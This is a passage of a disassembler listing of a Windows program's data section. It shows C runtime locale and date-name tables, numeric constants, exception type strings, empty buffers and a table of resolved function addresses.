dd 303538h, 0
a1252_21 db '1252',0
align 4
a0_0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd 554345h, 303538h, 0
a1252_22 db '1252',0
align 10h
a4 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4C5345
dd offset aChile ; "Chile"
dd offset byte_4C4843
dd 303538h, 0
a1252_23 db '1252',0
align 4
a8 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd 595345h
dd offset aUruguay ; "Uruguay"
dd 595255h, 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 5A5345h
dd offset aParaguay ; "Paraguay"
dd 595250h, 303538h, 0
a1252_25 db '1252',0
align 4
word_454B64 dw 0C0Ch ; DATA XREF: _TestDefaultCountry+34r
dw 0C1Ah
dd 4361007h, 42D080Ch, 100C0403h, 81D0810h
off_454B78 dd offset aAmerica ; DATA XREF: ___get_qualified_locale+9Co
; "america"
dd 415355h
dd offset aBritain ; "britain"
dd 524247h
dd offset aChina ; "china"
dd offset byte_4E4843
dd offset aCzech ; "czech"
dd offset byte_455A43
dd offset aEngland ; "england"
dd 524247h
dd offset aGreatBritain ; "great britain"
dd 524247h
dd offset aHolland ; "holland"
dd offset off_444C4C+2
dd offset aHongKong ; "hong-kong"
dd offset dword_474B48
dd offset aNewZealand ; "new-zealand"
dd offset word_4C5A4E
dd offset aNz ; "nz"
dd offset word_4C5A4E
dd offset aPrChina_0 ; "pr china"
dd offset byte_4E4843
dd offset aPrChina ; "pr-china"
dd offset byte_4E4843
dd offset aPuertoRico ; "puerto-rico"
dd offset dword_495250
dd offset aSlovak ; "slovak"
dd offset byte_4B5653
dd offset aSouthAfrica_1 ; "south africa"
dd offset word_46415A
dd offset aSouthKorea_0 ; "south korea"
dd 524F4Bh
dd offset aSouthAfrica_0 ; "south-africa"
dd offset word_46415A
dd offset aSouthKorea ; "south-korea"
dd 524F4Bh
dd offset aTrinidadTobago ; "trinidad & tobago"
dd offset dword_4F5454
dd offset aUk ; "uk"
dd 524247h
dd offset aUnitedKingdom ; "united-kingdom"
dd 524247h
dd offset aUnitedStates ; "united-states"
dd 415355h
dd offset aUs ; "us"
dd 415355h
off_454C30 dd offset aAmerican ; DATA XREF: ___get_qualified_locale+67o
; "american"
dd 554E45h
dd offset aAmericanEngl_0 ; "american english"
dd 554E45h
dd offset aAmericanEnglis ; "american-english"
dd 554E45h
dd offset aAustralian ; "australian"
dd 414E45h
dd offset aBelgian ; "belgian"
dd 424C4Eh
dd offset aCanadian ; "canadian"
dd 434E45h
dd offset aChh ; "chh"
dd offset word_48485A
dd offset aChi ; "chi"
dd offset word_49485A
dd offset aChinese ; "chinese"
dd 534843h
dd offset aChineseHongkon ; "chinese-hongkong"
dd offset word_48485A
dd offset aChineseSimplif ; "chinese-simplified"
dd 534843h
dd offset aChineseSingapo ; "chinese-singapore"
dd offset word_49485A
dd offset aChineseTraditi ; "chinese-traditional"
dd 544843h
dd offset aDutchBelgian ; "dutch-belgian"
dd 424C4Eh
dd offset aEnglishAmerica ; "english-american"
dd 554E45h
dd offset aEnglishAus ; "english-aus"
dd 414E45h
dd offset aEnglishBelize ; "english-belize"
dd offset byte_4C4E45
dd offset aEnglishCan ; "english-can"
dd 434E45h
dd offset aEnglishCaribbe ; "english-caribbean"
dd 424E45h
dd offset aEnglishIre ; "english-ire"
dd offset byte_494E45
dd offset aEnglishJamaica ; "english-jamaica"
dd offset byte_4A4E45
dd offset aEnglishNz ; "english-nz"
dd 5A4E45h
dd offset aEnglishSouthAf ; "english-south africa"
dd 534E45h
dd offset aEnglishTrinida ; "english-trinidad y tobago"
dd 544E45h
dd offset aEnglishUk ; "english-uk"
dd offset byte_474E45
dd offset aEnglishUs ; "english-us"
dd 554E45h
dd offset aEnglishUsa ; "english-usa"
dd 554E45h
dd offset aFrenchBelgian ; "french-belgian"
dd 425246h
dd offset aFrenchCanadian ; "french-canadian"
dd 435246h
dd offset aFrenchLuxembou ; "french-luxembourg"
dd offset word_4C5246
dd offset aFrenchSwiss ; "french-swiss"
dd 535246h
dd offset aGermanAustrian ; "german-austrian"
dd 414544h
dd offset aGermanLichtens ; "german-lichtenstein"
dd 434544h
dd offset aGermanLuxembou ; "german-luxembourg"
dd offset dword_4C4544
dd offset aGermanSwiss ; "german-swiss"
dd 534544h
dd offset aIrishEnglish ; "irish-english"
dd offset byte_494E45
dd offset aItalianSwiss ; "italian-swiss"
dd 535449h
dd offset aNorwegian ; "norwegian"
dd 524F4Eh
dd offset aNorwegianBokma ; "norwegian-bokmal"
dd 524F4Eh
dd offset aNorwegianNynor ; "norwegian-nynorsk"
dd offset word_4E4F4E
dd offset aPortugueseBraz ; "portuguese-brazilian"
dd 425450h
dd offset aSpanishArgenti ; "spanish-argentina"
dd 535345h
dd offset aSpanishBolivia ; "spanish-bolivia"
dd 425345h
dd offset aSpanishChile ; "spanish-chile"
dd offset byte_4C5345
dd offset aSpanishColombi ; "spanish-colombia"
dd 4F5345h
dd offset aSpanishCostaRi ; "spanish-costa rica"
dd 435345h
dd offset aSpanishDominic ; "spanish-dominican republic"
dd offset off_445344+1
dd offset aSpanishEcuador ; "spanish-ecuador"
dd offset byte_465345
dd offset aSpanishElSalva ; "spanish-el salvador"
dd offset byte_455345
dd offset aSpanishGuatema ; "spanish-guatemala"
dd offset byte_475345
dd offset aSpanishHondura ; "spanish-honduras"
dd offset byte_485345
dd offset aSpanishMexican ; "spanish-mexican"
dd offset byte_4D5345
dd offset aSpanishModern ; "spanish-modern"
dd offset byte_4E5345
dd offset aSpanishNicarag ; "spanish-nicaragua"
dd offset byte_495345
dd offset aSpanishPanama ; "spanish-panama"
dd 415345h
dd offset aSpanishParagua ; "spanish-paraguay"
dd 5A5345h
dd offset aSpanishPeru ; "spanish-peru"
dd 525345h
dd offset aSpanishPuertoR ; "spanish-puerto rico"
dd 555345h
dd offset aSpanishUruguay ; "spanish-uruguay"
dd 595345h
dd offset aSpanishVenezue ; "spanish-venezuela"
dd 565345h
dd offset aSwedishFinland ; "swedish-finland"
dd offset byte_465653
dd offset aSwiss ; "swiss"
dd 534544h
dd offset aUk ; "uk"
dd offset byte_474E45
dd offset aUs ; "us"
dd 554E45h
dd offset aUsa ; "usa"
dd 554E45h
; void *off_454E38
off_454E38 dd offset off_454E40 ; DATA XREF: ___init_time+70w
; ___init_time:loc_433C71w ...
align 10h
off_454E40 dd offset aSun ; DATA XREF: ___init_time:loc_433C71o
; .data:off_454E38o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset aDecember ; "December"
dd offset aAm_0 ; "AM"
dd offset aPm_2 ; "PM"
dd offset aMDYy ; "M/d/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset aHMmSs ; "H:mm:ss"
align 10h
dword_454EF0 dd 2Eh, 0 ; DATA XREF: ___init_numeric+EEo
; .data:off_454EF8o
off_454EF8 dd offset dword_454EF0 ; DATA XREF: ___init_monetary+D4w
; ___init_monetary+F6o ...
off_454EFC dd offset dword_4F3894 ; DATA XREF: ___init_monetary+E2w
off_454F00 dd offset dword_4F3894 ; DATA XREF: ___init_monetary+F1w
dd offset dword_4F3894
dd offset dword_4F3894
dd offset dword_4F3894
dd offset dword_4F3894
dd offset dword_4F3894
dd offset dword_4F3894
dd offset dword_4F3894
dd 2 dup(7F7F7F7Fh)
off_454F28 dd offset off_454EF8 ; DATA XREF: ___init_numeric:loc_434639r
; ___init_numeric+F8r ...
align 10h
dword_454F30 dd 2 dup(0) ; DATA XREF: ___multtenpow12+6o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_455090 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: ___multtenpow12+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_4551F0 dd offset off_43E178 ; DATA XREF: .rdata:off_43E1B8o
; .rdata:0043E2E4o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_455208 dd offset off_43E178 ; DATA XREF: .rdata:off_43E1D0o
; .rdata:0043E214o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_455228 dd offset off_43E178 ; DATA XREF: .rdata:off_43E220o
; .rdata:0043E264o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_455248 dd offset off_43E178 ; DATA XREF: .rdata:off_43E270o
; .rdata:0043E2B4o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_455268 dd offset off_43E178 ; DATA XREF: .rdata:off_43E2F0o
; .rdata:0043E32Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 8
dword_455288 dd 2 dup(0) ; DATA XREF: sub_401317+C8o
dword_455290 dd 2 dup(0) ; DATA XREF: sub_401317+62o
; char dword_455298[]
dword_455298 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo
; sub_401CC7+AF0o ...
dd 5 dup(0)
dword_4552B0 dd 0 ; DATA XREF: sub_401CC7+B4Cr
; sub_415B47+60r
dd 24h dup(0)
db 0
byte_455345 db 3 dup(0) ; DATA XREF: .data:00454DB4o
dd 0C2h dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: .data:00454780o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: .data:00454788o
dd 0BBh dup(0)
db 3 dup(0)
byte_455A43 db 0 ; DATA XREF: .data:00454B94o
dd 0F5h dup(0)
dword_455E18 dd 0 ; DATA XREF: sub_401CC7+5EE3r
; sub_401CC7+5FC0r ...
dd 7Fh dup(0)
dword_456018 dd 0 ; DATA XREF: sub_40B756+41w
; sub_40B891+40w ...
dword_45601C dd 0 ; DATA XREF: sub_40B756+47w
; sub_40B891+46w ...
dword_456020 dd 0 ; DATA XREF: sub_40B756+52w
; sub_40B891+3Ar ...
dword_456024 dd 0 ; DATA XREF: sub_401317+Cr
; sub_4019E7+B9w ...
dword_456028 dd 0 ; DATA XREF: sub_40B891+75r
; sub_40BA72+2Aw ...
dword_45602C dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw
; WinMain(x,x,x,x)+456w ...
byte_456030 db 0 ; DATA XREF: sub_4019E7+91o
; sub_401CC7+5E28r ...
align 4
dd 503h dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .data:off_44F70Co
dd 3345h dup(0)
db 2 dup(0)
word_46415A dw 0 ; DATA XREF: .data:004549C4o
; .data:00454BECo ...
dd 47Ah dup(0)
db 0
byte_465345 db 3 dup(0) ; DATA XREF: .data:00454AC4o
; .data:00454DACo
dd 0C2h dup(0)
db 3 dup(0)
byte_465653 db 0 ; DATA XREF: .data:00454E14o
dd 3D3Dh dup(0)
dword_474B48 dd 0BFh dup(0) ; DATA XREF: .data:00454BB4o
db 0
byte_474E45 db 3 dup(0) ; DATA XREF: .data:00454CF4o
; .data:00454E24o
dd 0FEh dup(0)
db 0
byte_475241 db 3 dup(0) ; DATA XREF: .data:00454AA0o
dd 40h dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: .data:004548E0o
; .data:00454DBCo
dd 3D44h dup(0)
db 2 dup(0)
word_48485A dw 0 ; DATA XREF: .data:00454C64o
; .data:00454C7Co
dd 2BAh dup(0)
db 0
byte_485345 db 3 dup(0) ; DATA XREF: .data:00454DC4o
dd 3D44h dup(0)
db 2 dup(0)
word_49485A dw 0 ; DATA XREF: .data:00454C6Co
; .data:00454C8Co
dd 17Ah dup(0)
db 0
byte_494E45 db 3 dup(0) ; DATA XREF: .data:00454CCCo
; .data:00454D4Co
dd 0FEh dup(0)
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: .data:00454940o
align 10h
dword_495250 dd 3Dh dup(0) ; DATA XREF: .data:00454BDCo
db 0
byte_495345 db 3 dup(0) ; DATA XREF: .data:00454DDCo
dd 3EBFh dup(0)
db 0
byte_4A4E45 db 3 dup(0) ; DATA XREF: .data:00454CD4o
dd 40FFh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_44F8A0o
dd 102h dup(0)
db 3 dup(0)
byte_4B5653 db 0 ; DATA XREF: .data:00454BE4o
dd 3BBBh dup(0)
db 2 dup(0)
word_4C4542 dw 0 ; DATA XREF: .data:0045480Co
dword_4C4544 dd 0BFh dup(0) ; DATA XREF: .data:00454D3Co
db 3 dup(0)
byte_4C4843 db 0 ; DATA XREF: .data:00454AF8o
dd 180h dup(0)
db 0
byte_4C4E45 db 3 dup(0) ; DATA XREF: .data:00454CB4o
dd 3Eh dup(0)
db 3 dup(0)
byte_4C4F43 db 0 ; DATA XREF: .data:00454A48o
dd 0C0h dup(0)
db 2 dup(0)
word_4C5246 dw 0 ; DATA XREF: .data:00454964o
; .data:00454D1Co
dd 3Fh dup(0)
db 0
byte_4C5345 db 3 dup(0) ; DATA XREF: .data:00454AF0o
; .data:00454D8Co
db 0
byte_4C5349 db 3 dup(0) ; DATA XREF: .data:00454754o
; .data:0045475Co
dd 1C0h dup(0)
db 2 dup(0)
word_4C5A4E dw 0 ; DATA XREF: .data:00454BBCo
; .data:00454BC4o
dd 39C0h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .data:off_44EAE8o
dd 37Ch dup(0)
dword_4D4F44 dd 100h dup(0) ; DATA XREF: .data:004549F0o
db 0
byte_4D5345 db 3 dup(0) ; DATA XREF: .data:004547D8o
; .data:00454DCCo
dd 3Fh dup(0)
db 3 dup(0)
byte_4D5447 db 0 ; DATA XREF: .data:004548E8o
dd 3674h dup(0)
dword_4E2E18 dd 2BECh ; DATA XREF: sub_401317+FDw
; sub_40B756+13o ...
dword_4E2E1C dd 1Fh ; DATA XREF: WinMain(x,x,x,x)+3Dw
; sub_401CC7:loc_4046C2r ...
dword_4E2E20 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4018F9o
; char Dest[]
Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o
; WinMain(x,x,x,x)+52Fo ...
; char byte_4E2EA4[]
byte_4E2EA4 db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo
; char byte_4E2EE4[]
byte_4E2EE4 db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o
dword_4E2F74 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w
; WinMain(x,x,x,x)+546w ...
dword_4E2F78 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w
dd 3 dup(0)
dword_4E2F88 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w
; WinMain(x,x,x,x)+4FAr ...
dword_4E2F8C dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw
; sub_401CC7+8A9r
dword_4E2F90 dd 0 ; DATA XREF: .data:0043F264o
dword_4E2F94 dd 0 ; DATA XREF: WinMain(x,x,x,x)+24Do
; char byte_4E2F98[]
byte_4E2F98 db 4 dup(0) ; DATA XREF: sub_401CC7+7E87o
dword_4E2F9C dd 0 ; DATA XREF: sub_401CC7+232Co
; char byte_4E2FA0[]
byte_4E2FA0 db 4 dup(0) ; DATA XREF: sub_401CC7+1EE0o
; char byte_4E2FA4[]
byte_4E2FA4 db 4 dup(0) ; DATA XREF: sub_401CC7+40C3o
; char byte_4E2FA8[]
byte_4E2FA8 db 4 dup(0) ; DATA XREF: sub_401CC7+4215o
; char byte_4E2FAC[]
byte_4E2FAC db 4 dup(0) ; DATA XREF: sub_401CC7+449Fo
; char byte_4E2FB0[]
byte_4E2FB0 db 4 dup(0) ; DATA XREF: sub_401CC7+5C4Bo
dword_4E2FB4 dd 77C72C6Bh ; DATA XREF: sub_409DD4+4A7w
; sub_409DD4+4EBr ...
dword_4E2FB8 dd 77EBA994h ; DATA XREF: sub_409DD4+65w
; sub_41A589+166r
dword_4E2FBC dd 7622A3F4h ; DATA XREF: sub_409DD4+80Bw
; sub_409DD4+880r ...
dword_4E2FC0 dd 71C45229h ; DATA XREF: sub_409DD4+9D8w
; sub_409DD4+A43r ...
dword_4E2FC4 dd 71C24870h ; DATA XREF: sub_409DD4+98Aw
; sub_409DD4+A13r ...
dword_4E2FC8 dd 77C71BB0h ; DATA XREF: sub_409DD4+48Dw
; sub_409DD4+4DBr ...
dword_4E2FCC dd 77D4808Bh ; DATA XREF: sub_409DD4+213w
; sub_409DD4+234r ...
dword_4E2FD0 dd 71C4502Ch ; DATA XREF: sub_409DD4+9CBw
; sub_409DD4+A3Br ...
dword_4E2FD4 dd 77DE801Bh ; DATA XREF: sub_409DD4+372w
; sub_409DD4+3C7r ...
dword_4E2FD8 dd 77DDACABh ; DATA XREF: sub_409DD4+40Fw
; sub_41B92C+11Er
dword_4E2FDC dd 77DE8075h ; DATA XREF: sub_409DD4+37Fw
; sub_409DD4+3CFr ...
dword_4E2FE0 dd 77DD7496h ; DATA XREF: sub_409DD4+3C0w
; sub_419B5B+ADr
dword_4E2FE4 dd 71AB1B7Bh ; DATA XREF: sub_409DD4+55Aw
; sub_40FB50+115r ...
dword_4E2FE8 dd 77E686CCh ; DATA XREF: sub_409DD4+72w
; sub_409DD4+D2r ...
dword_4E2FEC dd 71C2498Bh ; DATA XREF: sub_409DD4+97Dw
; sub_409DD4+A06r ...
dword_4E2FF0 dd 77DDAB2Fh ; DATA XREF: sub_409DD4+3A6w
; sub_409DD4+3E7r ...
dword_4E2FF4 dd 7620E8C3h ; DATA XREF: sub_409DD4+859w
; sub_409DD4+8ACr ...
dword_4E2FF8 dd 77DD23D7h ; DATA XREF: sub_409DD4+2A5w
; sub_409DD4+2F0r ...
dword_4E2FFC dd 76214750h ; DATA XREF: sub_409DD4+84Cw
; sub_409DD4+8A4r ...
dword_4E3000 dd 77E6D75Bh ; DATA XREF: sub_409DD4+B3w
dword_4E3004 dd 7620BD61h ; DATA XREF: sub_409DD4+866w
; sub_409DD4+8B4r ...
dword_4E3008 dd 71AB60C9h ; DATA XREF: sub_409DD4+54Dw
; sub_409DD4+6D0r ...
dword_4E300C dd 77EBA6E9h ; DATA XREF: sub_409DD4+58w
; sub_409DD4+CAr ...
dword_4E3010 dd 76D62A58h ; DATA XREF: sub_409DD4+934w
; sub_413D05+11Ar
dword_4E3014 dd 76F36EAAh ; DATA XREF: sub_401CC7:loc_404110r
; sub_409DD4+A95w ...
dword_4E3018 dd 77E802FCh ; DATA XREF: sub_409DD4+A6w
; sub_409DD4+F2r ...
dword_4E301C dd 77C75455h ; DATA XREF: sub_409DD4+480w
; sub_409DD4+4D3r ...
dword_4E3020 dd 71AB12A7h ; DATA XREF: sub_409DD4+5F6w
; sub_40C603+20r ...
dword_4E3024 dd 71C574FAh ; DATA XREF: sub_409DD4+9BEw
; sub_409DD4+A33r
dword_4E3028 dd 71AB1746h ; DATA XREF: sub_409DD4+5E9w
; sub_409DD4+754r ...
dword_4E302C dd 71C21CA3h ; DATA XREF: sub_409DD4+A0Cw
dword_4E3030 dd 71B28D0Dh ; DATA XREF: sub_409DD4+B50w
dword_4E3034 dd 762211EFh ; DATA XREF: sub_409DD4+7FEw
; sub_409DD4+86Dr
dword_4E3038 dd 77D902E3h ; DATA XREF: sub_409DD4+1B3w
; sub_4190D4+15r
dword_4E303C dd 71C2FA86h ; DATA XREF: sub_409DD4+997w
; sub_409DD4+A1Br ...
dword_4E3040 dd 77DE1291h ; DATA XREF: sub_409DD4+38Cw
; sub_409DD4+3D7r ...
dword_4E3044 dd 77E2C1B3h ; DATA XREF: sub_409DD4+399w
; sub_409DD4+3DFr ...
dword_4E3048 dd 73B81E3Bh ; DATA XREF: sub_409DD4+C85w
; sub_409DD4+C8Cr ...
dword_4E304C dd 71ABF628h ; DATA XREF: sub_409DD4+6ACw
; sub_411240+D0r
dword_4E3050 dd 71AB1836h ; DATA XREF: sub_401317+1Dr
; sub_401317+23r ...
dword_4E3054 dd 77C72889h ; DATA XREF: sub_409DD4+4B4w
; sub_415F1E+207r
dword_4E3058 dd 71C453F8h ; DATA XREF: sub_409DD4+9E5w
; sub_409DD4+A4Br ...
dword_4E305C dd 77DD5C55h ; DATA XREF: sub_401000+51r
; sub_409DD4+2B2w ...
dword_4E3060 dd 77E96645h ; DATA XREF: sub_409DD4+7Fw
; sub_409DD4+DAr ...
dword_4E3064 dd 77428B97h ; DATA XREF: sub_401CC7+5992r
; sub_401CC7+7A8Ar ...
dword_4E3068 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr
; sub_401CC7+5198r ...
dword_4E306C dd 762059A3h ; DATA XREF: sub_409DD4+825w
; sub_409DD4+890r ...
dword_4E3070 dd 71C4A1B4h ; DATA XREF: sub_409DD4+9A4w
; sub_409DD4+A23r
dword_4E3074 dd 1F7CD214h ; DATA XREF: sub_409DD4+C0Ew
; sub_409DD4+C3Fr
dword_4E3078 dd 77E09134h ; DATA XREF: sub_409DD4+2CCw
; sub_41927E+47r
dword_4E307C dd 77D4456Bh ; DATA XREF: sub_409DD4+22Dw
; sub_412775+40r ...
dword_4E3080 dd 76D629BBh ; DATA XREF: sub_409DD4+91Aw
; sub_409DD4+92Er ...
dword_4E3084 dd 1F7B9D96h ; DATA XREF: sub_409DD4+C28w
dword_4E3088 dd 77E09070h ; DATA XREF: sub_409DD4+2D9w
; sub_41927E+4Fr
dword_4E308C dd 71AB1740h ; DATA XREF: sub_409DD4+574w
; sub_409DD4+6E8r ...
dword_4E3090 dd 7620AFB6h ; DATA XREF: sub_409DD4+83Fw
; sub_409DD4+873r
dword_4E3094 dd 77D5C13Ah ; DATA XREF: sub_409DD4+220w
; sub_409DD4+23Cr ...
dword_4E3098 dd 77D45B19h ; DATA XREF: sub_409DD4+172w
; sub_409DD4+1C2r ...
dword_4E309C dd 71AB157Eh ; DATA XREF: sub_401CC7+1E21r
; sub_401CC7+5B48r ...
dword_4E30A0 dd 71AB3E5Dh ; DATA XREF: sub_4019E7+C4r
; sub_401CC7+5222r ...
dword_4E30A4 dd 71AB14DCh ; DATA XREF: sub_409DD4+567w
; sub_409DD4+6DCr ...
dword_4E30A8 dd 0CC0004h ; DATA XREF: sub_409DD4+8DBw
; sub_409DD4:loc_40A6CDw ...
dword_4E30AC dd 77DD590Bh ; DATA XREF: sub_401000+26r
; sub_409DD4+28Bw ...
dword_4E30B0 dd 71ABD755h ; DATA XREF: sub_401CC7+7A0Fr
; sub_409DD4+69Fw ...
dword_4E30B4 dd 77DF7311h ; DATA XREF: sub_409DD4+32Dw
; sub_409DD4+341r ...
dword_4E30B8 dd 77DDA2AFh ; DATA XREF: sub_409DD4+3B3w
; sub_409DD4+3EFr ...
dword_4E30BC dd 1F7CD927h ; DATA XREF: sub_409DD4+C01w
; sub_409DD4+C37r
dword_4E30C0 dd 76206853h ; DATA XREF: sub_409DD4+818w
; sub_409DD4+888r ...
dword_4E30C4 dd 77D4932Ch ; DATA XREF: sub_409DD4+206w
; sub_409DD4+227r ...
dword_4E30C8 dd 77D5E310h ; DATA XREF: sub_409DD4+18Cw
; sub_409DD4+1D2r ...
dword_4E30CC dd 76206B7Fh ; DATA XREF: sub_409DD4+832w
; sub_409DD4+898r ...
dword_4E30D0 dd 71AB1444h ; DATA XREF: sub_409DD4+624w
; sub_409DD4+774r ...
dword_4E30D4 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar
; sub_409DD4+2BFw ...
dword_4E30D8 dd 71AB3F8Dh ; DATA XREF: sub_409DD4+66Bw
; sub_409DD4+79Cr ...
dword_4E30DC dd 77DD5D20h ; DATA XREF: sub_409DD4+320w
; sub_409DD4+334r ...
dword_4E30E0 dd 71AB1890h ; DATA XREF: sub_409DD4+644w
; sub_409DD4+784r ...
dword_4E30E4 dd 77C76B34h ; DATA XREF: sub_409DD4+44Cw
; sub_409DD4+4AEr ...
dword_4E30E8 dd 77D5E38Ch ; DATA XREF: sub_409DD4+199w
; sub_409DD4+1DAr ...
dword_4E30EC dd 77DDA20Bh ; DATA XREF: sub_409DD4+365w
; sub_409DD4+3BAr ...
dword_4E30F0 dd 76F36EEBh ; DATA XREF: sub_409DD4+AA2w
dword_4E30F4 dd 71AB12A7h ; DATA XREF: sub_409DD4+5DCw
; sub_409DD4+748r ...
dword_4E30F8 dd 71AB1746h ; DATA XREF: sub_4019E7+3Er
; sub_401CC7+51D4r ...
dword_4E30FC dd 77EBA595h ; DATA XREF: sub_409DD4+4Bw
; sub_409DD4+C2r ...
dword_4E3100 dd 77C7531Dh ; DATA XREF: sub_409DD4+473w
; sub_409DD4+4CBr ...
dword_4E3104 dd 77D4BDCAh ; DATA XREF: sub_409DD4+165w
; sub_409DD4+1BAr ...
dword_4E3108 dd 71C3516Ah ; DATA XREF: sub_409DD4+9FFw
; sub_409DD4+A5Br ...
dword_4E310C dd 71AB32CAh ; DATA XREF: sub_409DD4+685w
; sub_409DD4+7ACr ...
dword_4E3110 dd 71AB5690h ; DATA XREF: sub_401B4F+D1r
; sub_401CC7+5237r ...
dword_4E3114 dd 1F7CB8F8h ; DATA XREF: sub_409DD4+C1Bw
; sub_409DD4+C47r
dword_4E3118 dd 77EBB1E7h ; DATA XREF: sub_409DD4+3Ew
; sub_409DD4+BAr ...
dword_4E311C dd 77DD59F0h ; DATA XREF: sub_401000+45r
; sub_409DD4+298w ...
